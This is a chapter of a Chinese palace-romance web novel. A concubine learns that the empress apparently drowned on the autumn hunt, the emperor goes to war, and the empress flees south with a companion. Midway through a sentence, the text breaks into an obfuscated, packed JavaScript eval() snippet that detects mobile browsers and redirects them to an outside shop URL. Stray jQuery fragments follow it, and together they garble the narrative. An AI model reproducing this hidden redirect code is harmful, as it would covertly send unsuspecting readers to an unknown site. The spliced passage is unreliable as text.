一缕青烟从香炉袅袅升起。
“不见了!?”
身旁人惊讶动作带出的气流扰乱了青烟,歪歪斜斜四散开。
“可不能瞎说,涉及那位的,若是乱说话,又要被敲打了。”贺瑶忙阻挠宫人。
宫人摇摇头,歪过身子:“是真的,说是秋猎的时候,掉到河里去了……”
贺瑶拉住她的袖子,停住话,左右朝殿门口看了一眼,又放开:“确信是没了?”
“尸身都拉回宫了,就在坤德宫偏殿停着呢。但是搜查的就没断过,秋猎都结束三天了,天家才回宫。”
那应该是没了。
一股怅惘的情绪席卷心头。当初是她遂了自己的心愿,将自己引荐入宫,能伴圣驾左右;也是她与自己心上人在自己面前卿卿我我,叫她为此煎熬许久。
爹娘教她不可任性过头,不得违了基本道理,她也对赵瑞殊下不去手。
刚巧,她死了。
一股隐秘的窃喜泛上心头。
天家身边总算空了下来,就算伤心,能伤心到什么时候呢?总是有机会的。
“唉,皇后娘娘还这么年轻呢,天家又对她情深意笃。”她嘴上这样叹道,“我们去瞧瞧其他姐妹,切莫叫她们伤心过度。”
一行人前去庆安宫,方进了殿门,便听到低低的抽泣声。
贺瑶暗暗感到新奇,掀过珠帘走进。
淑妃正侧坐在榻上,腿蜷在榻边缘,背拱着,手捧着一个奇怪的坠子,头埋在上面哭。
宫人看见贺瑶来,低头在她耳旁说了几句。
淑妃抬起头,泪眼朦胧:“早知与她最后一面竟是那样的争吵,我便不闹性子怄气了。”
在听见哭声时,贺瑶已经怀疑是否该走这一趟,见她分明要悼念一番,更是后悔。
淑妃还在哭:“秋猎时候,她本来都要带我们出去散心了,结果天家不许其他宫中女眷去。如果我在,定不会叫她遇险。”
人在的时候,她可不比自己跳得凶?当时天家身边的陈公公敲打她们去给皇后赔罪,她到了场还敢阴阳怪气,现在怪到天家头上去了。
憋着一腔无语,贺瑶安慰了她,正想着由头离开,几个侍卫打扮的人闯入殿中。
“这是何意?”宫人叫嚷。
侍卫亮出千牛卫的令牌,宫人熄火,一个劲偷偷瞄自己主子的脸色。
“恐怕二位娘娘要分开一阵子。”领头的说。
二人被分至不同殿。
千牛卫一直在质问贺瑶,最后和皇后相见情形如何,又问她是否有插手此次秋猎之事。吓得她搬出自己家里人的差事与来历来澄清,说自己和淑妃不一样,和东梁一点关系都没有。
千牛卫点点头,又将她的宫人挨个盘问一圈,放她回去了。
她捂着胸口,惊魂未定:“难道这事有什么隐情不成?”
宫人凑过来,低声道:“说不住呢,奴小时候听说,宫廷里的大人物,总是喜欢搞这些暗杀啊、下毒啊之类的恐怖事情。”
“幸好我只是个小小才人。”贺瑶点点头,又叹道,“可以后,若是我……那要如何应对呢?”
“才人吉人自有天相!”宫人机灵接话。
贺瑶高高兴兴躺自己宫里,一边盯着藻井,思考天家什么时候过了伤心劲。
他伤心的时候是什么模样,会抱着故人旧物哭泣,还是只垂着头沉默在故人未曾眷恋的雕栏玉砌中?
她漫无目的地想着,把陆观泽描绘成一个悲痛的鳏夫形象,又开始思考自己是否要现在去安慰他,悄悄成为他的情感支撑,还是等他淡了悲痛,漂漂亮亮地在他跟前晃。
她在自己的幻想中仿佛徜徉一生,终于准备和最称心的宫人谋划下一步如何走。
这时,一个石破天惊的消息传来。
陆观泽指责东梁暗中携走送来联姻的公主,以东梁未能保全人质为由,向其发兵,御驾亲征。
“人不是死了吗?”她大喊。
宫人比她更困惑,张着嘴巴摇头。
她只在幻想中熟悉的陆观泽此刻也未能确定赵瑞殊的生死。
秋猎,尚在崞山猎场,里里外外查了个透。
可宫人勤快,宴席的器皿当晚就清洗了。
跟着赵瑞殊去河岸边的十多个宫人,全都说亲眼看着皇后娘娘失足掉入水中央,一直浮浮沉沉,直到沉入水中,后来有侍卫去找,也没救得回来。
这侍卫不用说,是他安插在几个要口的千牛卫,汇报时也和宫人的供词对上。
至于孙斐那边,他当然不会放过。逼问出她送赵瑞殊跟着镖队南下的计划,贬了她丈夫的职,罚了俸禄。念在赵瑞殊并非真的由其送走,加之其功劳与贤能的份上,没有再进一步惩罚。
但快马加鞭拦住已经出了京城的镖队,却说没有这个年纪的贵女来过他们的镖队,关卡的人也证实镖队中没有年轻女人。
也便是说,赵瑞殊要么的确死在了溹涫河,要么就是没有按照东梁内应规划好的路线逃。
他在停灵的殿前台阶坐了许久,不敢走进去确认,又不愿离棺木太远。手指卡在眉骨下,支撑着他的脸,遮住那双被赵瑞殊时常好奇地瞄着的眼睛。
几日的连轴转,叫他顾不上仪表,脸边有几缕蜷曲的发丝微微翘起。
宫人们噤声,不敢说话。
水一样的沉默中,他在殿前坐了一夜,没人知道他在想什么。
第二日朝会,他提出征战之事。
大张旗鼓的宣战消息很快传遍了大街小巷,在县令将布告张贴在城墙前,民众就已经从口口相传中得知这一消息。
无论是挑夜香的,种地的,织布的,都知晓了这一消息。
也偶有人身处偏僻之地,未能第一时间知晓。
山中猎户是其中一类。
在河水中赶路的赵瑞殊、谢游一行人也是其中一类。
过了逃亡的新鲜劲,晃晃悠悠的小船与响个不停的鸟鸣不断放大她心中的恐惧。
有的时候她做梦会梦见陆观泽,他什么也不做,只是直勾勾地盯着她。浅色的眼珠映着火光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717335|207983||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,也像一团火,仔细看,原来那是他们大婚那日的喜烛。
“我们要全力赶路。”她和谢游商量,“能不在岸上停靠就不停,这样更快,也更不容易被找到。”
原本计划好的上岸修整被取消,他们只偶尔在码头附近的集市购置些必需品,一路向南,直至水路已断,才从岸上走。
岸上的路线要多得多,二人将船只转让,走进码头旁的一家小饭店,一边等上菜,一边探讨之后当如何。
“客官来碗鱼汤面吧,好风雅的文人来了都要尝尝我们这边的特色呢。”老板娘推销。
吃了几天烤鱼的二人忙异口同声:“不不不……”
二人要了一份鸡蛋素面。
老板娘失望地走了。
谢游手肘支在桌上,手蜷在颊边:“你可想好了,是走多从林间、乡野间走,还是多从城镇中间走?”
“前者隐蔽,后者安全。”赵瑞殊也想学谢游那样支胳膊,但桌面不平整,还糊着一层湿哒哒的物质,“我们就按最近的来,尽量在乡野间走,补给不够了再去城镇。林间也少去,别遇着什么熊瞎子或者大虫。”
谢游点点头,继续和她商讨详细路线,掏出之前因导达沟洫而获得的舆图,主要记载了些山川河流,也够他们用的了。
见他把舆图放到桌上,赵瑞殊倒吸一口冷气,赶忙拎着纸侧边,提起来:“你也不嫌脏。”
谢游举起胳膊肘一看,那块布料已经粘上黝黑的污渍,不可置信地看着她:“瑞殊,你替纸着想,却不替我的衣服着想?”
“衣服可以洗,舆图脏了可就难办了。”赵瑞殊振振有词,一只手举着舆图边缘,仍由它在空中晃,另一只手在上面指指点点,“我们在这,不进城,今晚找家附近的旅馆休憩,明日去集市买些干粮,立即向东动身。如果我们不快些,一旦等他反应过来,可就什么都来不及了。”
谢游表情认真许多:“你很怕他?他对你不好?”
老板娘端来鸡蛋素面,赵瑞殊将舆图卷好收起。
热乎乎的鸡蛋香,混着一点油香与胡椒香,熏得人半点规划阴谋诡计的心气都没了。
“我的确怕他,他太阴晴不定了,并且这次算是我摆了他一道。你在他手底下做过事,若有人犯错,他是如何处置的?”
谢游一边搅面,一边想,末了,道:“在君王中,他是仁慈之君……只是你做的事,又与其他臣子犯的错不同。”
赵瑞殊不禁沮丧起来,顷刻又敛了神色,埋头苦吃,默默斥责自己怎可还未逃亡成功,就想着被捉到要怎样求一个从轻处罚。
只要规划得好,脚程快些,她不会被捉住的。
之前不也成功偷到情报并传出了吗?
她未曾经历艰苦生活,多少次想抱怨逃亡生活过得难以忍受,可夜半忽然梦见陆观泽,立马又吓得摆正态度,吭吭哧哧加紧逃。
比起被他捉住,乏味的粗粮也美味了,生硬的船舱也舒适得宛若瑶台。每天划船,寻找吃食,自己更衣、洗衣,一点也不苦,一点也不累。